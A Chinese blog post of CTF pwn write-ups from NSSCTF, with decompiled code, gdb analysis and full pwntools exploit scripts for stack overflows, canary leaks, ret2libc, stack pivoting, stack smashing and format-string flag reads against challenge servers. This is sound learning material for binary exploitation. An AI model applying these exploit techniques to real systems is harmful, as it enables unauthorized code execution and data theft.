NSSCTF 刷题记录

本篇文章主要写几个值得记一笔的题目,其他题目都是类似换皮。

[HNCTF 2022 Week1]ezcmp

正如题目所说,题目的大概意思是要我们使用gdb进行调试。

Checksec & IDA

就开启了NX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
  char src[44]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+4Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  puts("GDB-pwndbg maybe useful");
  strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
  strcpy(buff, src);
  seed = 1;
  srand(1u);
  enccrypt(buff);
  read(0, buf, 0x1EuLL);
  if ( strncmp(buff, buf, 0x1EuLL) )
  {
    puts("Oh No!You lose!!!");
    exit(0);
  }
  return system("/bin/sh");
}

代码大体逻辑如下:

  strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
  strcpy(buff, src);
  seed = 1;
  srand(1u);
  enccrypt(buff);

加密字符串Ayaka_nbbbbbbbbbbbbbbbbb_pluss

  read(0, buf, 0x1EuLL);
  if ( strncmp(buff, buf, 0x1EuLL) )
  {
    puts("Oh No!You lose!!!");
    exit(0);
  }
  return system("/bin/sh");

如果buf = buff 也就是加密后的字符串,则直接getshell。

经过上一次后我们知道这题的意思是什么了,直接GDB打开调试。

圈出来的四行就是buff加密后的内容,为什么是0x404100呢?

从始至终都是这个地址,所以我们直接查看这个地址的数据即可,但是需要在encrypt函数后。

那么EXP就很简单了。

EXP:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./ezcmp')
io = remote("43.143.7.127",28776)
elf = ELF('./ezcmp')

buff = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2) + p64(0xf426588abcee2052) + p64(0x0000c8cb2c5e90c2)
io.sendline(buff)
io.interactive()

[BJDCTF 2020]babyrop2

本题一次考两个点:Canary泄露 与 ret2libc

Checksec & IDA

经过littleof的学习,我们已经懂得了如何通过题目所提示的函数泄露Canary,从而绕过Canary。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  gift();
  vuln();
  return 0;
}
unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

vuln函数的read是栈溢出漏洞,那么该如何泄露Canary呢?很简单。

gift函数中存在着__isoc99_scanf。但是%6s阻止了我们暴力泄露。但是我们可以尝试利用格式化字符串漏洞。

可见确实存在格式化字符串漏洞。我们逐步添加,可以得到偏移是6。

那么AA%7$p就是Canary。

因此我们通过格式化字符串泄露Canary,接下来就是常规的ret2libc。

EXP:

io.recvuntil(b'help u!\n')
Canary_Leak = b'AA%7$p'
io.send(Canary_Leak)
io.recvuntil(b'0x')
Canary = int(io.recv(16),16)
log.success("Canary: " + (hex(Canary)))
io.recvuntil(b'story!\n')
Payload_Vuln = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(Payload_Vuln)
Address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("PutsAddr: " + (hex(Address)))

libc = LibcSearcher('puts',Address)
libcbase = Address - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.sym['str_bin_sh']

io.recvuntil(b'story!\n')
Payload_GetShell = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_GetShell)
io.interactive()

完整EXP:

from pwn import *
from LibcSearcherX import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./BBROP')
io = remote('1.14.71.254',28283)
elf = ELF('./BBROP')
Padding = b'A' * (0x20 - 0x08)

rdi = 0x400993
ret = 0x4005F9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
io.recvuntil(b'help u!\n')
Canary_Leak = b'AA%7$p'
io.send(Canary_Leak)
io.recvuntil(b'0x')
Canary = int(io.recv(16),16)
log.success("Canary: " + (hex(Canary)))

io.recvuntil(b'story!\n')
Payload_Vuln = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(Payload_Vuln)
Address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("PutsAddr: " + (hex(Address)))

libc = LibcSearcher('puts',Address)
libcbase = Address - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.sym['str_bin_sh']

io.recvuntil(b'story!\n')
Payload_GetShell = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_GetShell)
io.interactive()

[NISACTF 2022]shop_pwn

线程竞争,根据这个词可以大致推测出用意。

Checksec & IDA

繁多的函数,我们先运行一下程序试试。

一个简单的售出购入小程序。

输入1查看会发现我们开局拥有100金币,并且还拥有一个pen。而pen的售价是99。

我们尝试快速售出2个pen。

io.sendline(b'3')
io.sendline(b'00')

io.sendline(b'3')
io.sendline(b'00')

金币从100变成了298,也就是得到了198的金币。

而flag的价格为200,因此本题就解决了。

EXP:

from pwn import *

#io = process("./hyperthread")
io = remote("1.14.71.254", 28254)

context(arch='amd64', os='linux', log_level='debug')

io.sendline(b'3')
io.sendline(b'00')

io.sendline(b'3')
io.sendline(b'00')

io.sendline(b'2')
io.sendline(b'1')

io.recv()
io.sendline(b'1')

io.interactive()

[CISCN 2019东南]PWN2

今天费了点时间,基本上算是搞懂了栈迁移。

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
int hack()
{
  return system("echo flag");
}

hack函数是一个误导。为什么呢?因为read只能读入0x30大小的数据,而s的大小就0x28了,也就是说只有0x08大小的数据供我们构造ROP链。显然就0x08,在hack函数还只是echo一个flag到终端上来看,是不够的。

因此我们考虑栈迁移。

既然是栈迁移,我们先找到leave,ret。

本题读入了2次read,我们可以尝试将/bin/sh写入s中。那么我们如何获取s的地址?

我们使用gdb进行调试,先将断点下在vul函数之前:

一路next到vul函数,输入AAAA和BBBB。

使用search指令搜索BBBB位于哪里

然后使用distance指令计算与ebp的偏移:

得到了s = ebp - 0x38。

接下来开始构造EXP:

EXP:

Padding = b'A' * 0x27 + b'C'
io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38

首先是接收EBP地址的Payload。

Printf会在字符串结尾加上一个'\x00'。我们手动填满buf即可让printf打印出EBP的地址。

Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)

(b'A' * 0x04) 栈对齐

system 调用system函数

vul 返回地址,随便填 防止程序崩溃

s + 0x10 为什么是0x10,32位中地址长度是0x04,而此处Payload从第一个开始算到第四个,4x4 = 16 = 0x10。

b'/bin/sh' 将 /bin/sh 字符串送入栈中

ljust 在payload的末尾填充空字节,填充的大小为0x28-len(Payload)

s 指向本段ROP链的地址,覆盖了ebp

leave_ret 将eip覆盖为ebp,也就是刚才的s,执行ROP链

完整EXP:

from pwn import *

context(arch='i386',os='linux',log_level='debug')

io = remote('1.14.71.254',28367)
#io = process('./CISCN_2019_PWN2')
elf = ELF('./CISCN_2019_PWN2')

Padding = b'A' * 0x27 + b'C'
system = elf.plt['system']
vul = elf.sym['vul']
leave_ret = 0x80484b8

io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38

Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)

io.sendline(Payload)
io.interactive()

[深育杯 2021]find_flag

大佬们觉得很简单的一题,我却因为为什么要用%15$p发愁了一天。

Checksec & IDA

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __gid_t rgid; // [rsp+Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  sub_1240();
  sub_132F();
  return 0LL;
}
unsigned __int64 sub_132F()
{
  char format[32]; // [rsp+0h] [rbp-60h] BYREF
  char v2[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Hi! What's your name? ");
  gets(format);
  printf("Nice to meet you, ");
  strcat(format, "!\n");
  printf(format);
  printf("Anything else? ");
  gets(v2);
  return __readfsqword(0x28u) ^ v3;
}
int sub_1229()
{
  return system("/bin/cat flag.txt");
}

打印函数就不放了,有些人没有sub_1229函数,这个我也没有。

手动创建即可,虽然意义不大。

那么现在开始分析源码:

  printf("Hi! What's your name? ");
  gets(format);
  printf("Nice to meet you, ");
  strcat(format, "!\n");
  printf(format);
  printf("Anything else? ");
  gets(v2);

本题保护全开,我们需要先想办法绕过Canary才能干其他的事情。

那么我们该如何绕过Canary呢?

看到format,我们就想起来了 格式化字符串。

那么首先尝试通用Payload:AAAAAAAA-%p-%p-%p-%p

本题存在格式化字符串漏洞。那么我们只需要构造泄露Canary的EXP即可。

打开GDB进行动态调试,断点有两种下的办法:

b *$rebase(0x13BB)

将断点下在偏移为0x13BB函数。

b *printf

将断点下在printf。

效果一样,就不做演示了。我选择上面那种,上面那种需要先运行程序,然后Ctrl + C 使其在后台运行,才能下断点。

随便输入什么内容。

stack 50 查看栈的状态

我们需要注意的是圈出来的2个地方。上面那个是Canary。Canary的末尾总是截断符,因此很容易识别。

那么为什么0x7fffffffde58 —▸ 0x55555555546f ◂— mov eax, 0 也被特别关注了呢?

因为这个地址代表了我们的main函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。

具体方法如下:

首先在IDA中找到偏移对应的地址,然后使用distance或者python计算出基址。方法如下:

首先使用vmmap指令查看我们的程序的基址:

0x555555554000 0x555555555000 r--p 1000 0 /home/kaguya/PwnExp/findflag

就是我们要找的。

我们使用指令:distance 0x55555555546f 0x555555554000

可得偏移为0x146F,其实IDA中也写了:

然后就可以开始构造我们的ROP链了。我选择使用LibcSearcher进行构造。我们首先要找到2个ROP,一个是RDI用来传参,一个是RET用来栈平衡。

相信看到这的大家对这已经轻车熟路了,那我就不放详细过程了。

EXP:

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
io = process('./find_flag')
#io = remote('1.14.71.254', 28320)
elf = ELF('./find_flag')

io.sendline(b'%17$p-%19$p')
io.recvuntil(b'you, ')
Canary = int(io.recv(18), 16)
log.success('Canary: ' + (hex(Canary)))
io.recvuntil(b'-')
Base = int(io.recv(14), 16)
log.success('mov eax 0 Address: ' + (hex(Base)))
Base = Base - 0x146F
log.success('Base Address: ' + (hex(Base)))
#gdb.attach(io)

rdi = Base + 0x14E3
ret = Base + 0x101A
system = Base + elf.sym['system']
cat_flag = Base + 0x2004

Padding = b'A' * (0x40 - 0x08)
payload = Padding + p64(Canary) + p64(0) + p64(ret) + p64(rdi) + p64(cat_flag) + p64(system)
io.sendlineafter(b'else?', payload)
io.recv()
io.interactive()

[2021 鹤城杯]easyecho

搞懂了原理,来讲解一下本人浅薄的理解。

Checksec & IDA

保护全开,看看IDA。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  bool v3; // zf
  __int64 v4; // rcx
  char *v5; // rsi
  const char *v6; // rdi
  char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
  int (*v9)(); // [rsp+10h] [rbp-98h]
  char v10[104]; // [rsp+20h] [rbp-88h] BYREF
  unsigned __int64 v11; // [rsp+88h] [rbp-20h]

  v11 = __readfsqword(0x28u);
  sub_DA0();
  sub_F40(a1, a2);
  v9 = backdoor;
  puts("Hi~ This is a very easy echo server.");
  puts("Please give me your name~");
  _printf_chk(1LL, "Name: ");
  sub_E40(v8, 16LL);
  _printf_chk(1LL, "Welcome %s into the server!\n", v8);
  do
  {
    while ( 1 )
    {
      _printf_chk(1LL, "Input: ");
      gets(v10);
      _printf_chk(1LL, "Output: %s\n\n", v10);
      v4 = 9LL;
      v5 = v10;
      v6 = "backdoor";
      do
      {
        if ( !v4 )
          break;
        v3 = *v5++ == *v6++;
        --v4;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))v9)(v6, v5);
    }
  }
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");
  return 0LL;
}
int backdoor()
{
  __int64 v0; // rax
  int v1; // ebx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( unk_2020A0 )
  {
    return __readfsqword(0x28u) ^ v3;
  }
  else
  {
    unk_2020A0 = 1;
    v1 = open("./flag", 0);
    if ( v1 < 0 )
      perror("open");
    read(v1, &unk_202040, 0x50uLL);
    LODWORD(v0) = close(v1);
  }
  return v0;
}

主要就这两个。

我们可以发现在IDA中,栈上的几个变量是挨在一起的。

本题不使用泄露Canary的方式来做题,正如提示所说,使用Stack Smash。

Canary被覆盖后,会调用函数 __stack_chk_fail 来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。

*** stack smashing detected ***: terminated

如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息

见大佬的文章:

好好说话之Stack smash

EXP:

只有Name是可以泄露基址的,因此我们考虑在Name下手。

先使用程序输入9个AB。

我们可以看到我们输入的数据和程序的地址紧紧挨着。也就是说我们只需要接收这个地址,减去它的偏移,就能得到基址。

但是我们不能采用recvuntil AB*9,因为

[DEBUG] Sent 0x13 bytes:
    b'ABABABABABABABABAB\n'
[DEBUG] Received 0x30 bytes:
    00000000  57 65 6c 63  6f 6d 65 20  41 42 41 42  41 42 41 42  │Welc│ome │ABAB│ABAB│
    00000010  41 42 41 42  41 42 41 42  f0 8c 73 12  2b 56 20 69  │ABAB│ABAB│··s·│+V i│
    00000020  6e 74 6f 20  74 68 65 20  73 65 72 76  65 72 21 0a  │nto │the │serv│er!·│
    00000030

我们可以发现我们只接收到了8个AB。因此我们需要使用

io.recvuntil(b'Name: ')
io.sendline(b'AB' * 9)
io.recvuntil(b'AB' * 8)

AB之后就是我们需要的地址。但是只有6个字节大小。

f0 8c 73 12  2b 56
│··s·│+V i│
leak = u64(io.recv(6).ljust(8, b'\x00'))

使用ljust补全即可。

然后就是减去它的偏移地址,获取基址:

pie_base = leak - 0xcf0
log.success('pie base: ' + hex(pie_base))

接下来是将backdoor存放到0x202040地址内的flag地址计算出来:

io.recvuntil(b'Input: ')
io.sendline(b'backdoor')
flag_addr = pie_base + 0x202040

使用backdoor绕过

io.recvuntil(b'Input: ')
payload = b'exitexit'.ljust(16, b'\x00') + p64(flag_addr) * 0x100

无脑填充flag地址,用来溢出gets函数,然后使用exit补全Payload。(原因在源码中。)

完整Payload:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./easyecho')
io = remote('1.14.71.254',28606)
elf = ELF('./easyecho')

io.recvuntil(b'Name: ')
io.sendline(b'AB' * 9)
io.recvuntil(b'AB' * 8)
leak = u64(io.recv(6).ljust(8, b'\x00'))
#gdb.attach(io)
#pause()

pie_base = leak - 0xcf0
log.success('pie base: ' + hex(pie_base))

io.recvuntil(b'Input: ')
io.sendline(b'backdoor')
flag_addr = pie_base + 0x202040

io.recvuntil(b'Input: ')
payload = b'exitexit'.ljust(16, b'\x00') + p64(flag_addr) * 0x100
io.sendline(payload)
io.interactive()

[HUBUCTF 2022 新生赛]fmt

Checksec & IDA

开启的保护还挺多,我们看看IDA。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[32]; // [rsp+10h] [rbp-60h] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+38h] [rbp-38h]
  __int64 v7; // [rsp+40h] [rbp-30h]
  __int64 v8; // [rsp+48h] [rbp-28h]
  __int64 v9; // [rsp+50h] [rbp-20h]
  __int64 v10; // [rsp+58h] [rbp-18h]
  __int16 v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen("flag.txt", "r");
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  if ( stream )
    fgets(s, 50, stream);
  HIBYTE(v11) = 0;
  while ( 1 )
  {
    puts("Echo as a service");
    gets(format);
    printf(format);
    putchar(10);
  }
}

格式化字符串漏洞,程序使用函数读入了flag.txt文件,然后存放在s中。

s位于rbp-0x40的位置,因此我们只需要知道这个地址的偏移即可。

EXP:

gdb调试,将断点下在fgets

由于我是做完题目才写的wp,因此我已经提前将flag放入,但是其实不知道也没事,程序限制了flag文件读取的长度,50字节,因此就算放50个1也行。

可以发现程序将flag存储在了栈上的这些地址中:

使用fmtarg获取偏移:

可得我们只需要使用%12$p-%13$p-%14$p-%15$p-%16$p-%17$p即可获取flag。

EXP1:

from pwn import *
 
context(os='linux', arch='amd64', log_level='debug')
#io = process('/home/Kaguya/桌面/fmt')
io = remote('43.142.108.3',28236)
elf = ELF('/home/Kaguya/桌面/fmt')

io.sendline(b'%12$p-%13$p-%14$p-%15$p-%16$p-%17$p')
io.interactive()

EXP2:

nums= ['377b46544353534e', '2d31336331653164', '3238342d66323630', '332d353338392d39', '6635353930653335', '7d356333']

for strs in nums:
    i = len(strs)-2
    while i >= 0:
        num = strs[i:i+2]
        print(chr(int(num,16)),end="")
        i = i-2

[HNCTF 2022 Week1]fmtstrre

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  void *v5; // [rsp+100h] [rbp-10h]
  int fd; // [rsp+10Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to the world of fmtstr");
  puts("> ");
  fd = open("flag", 0);
  if ( fd == -1 )
    perror("Open failed.");
  read(fd, &name, 0x30uLL);
  v5 = &name;
  puts("Input your format string.");
  read(0, buf, 0x100uLL);
  puts("Ok.");
  printf(buf);
  return 0;
}

格式化字符串漏洞,程序使用函数读入了flag.txt文件,我们使用gdb进行动态调试:

首先r运行程序

然后按Ctrl+C

可以发现我们的数据已经在栈上了。

偏移为38,不要信那个39,2个都要试试的。

因此就是 %38$s

EXP:

from pwn import *
 
context(os='linux', arch='amd64', log_level='debug')
io = process('/home/Kaguya/桌面/ezfmt')
#io = remote('43.142.108.3',28236)
elf = ELF('/home/Kaguya/桌面/ezfmt')

io.sendline(b'%38$s')
io.interactive()
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值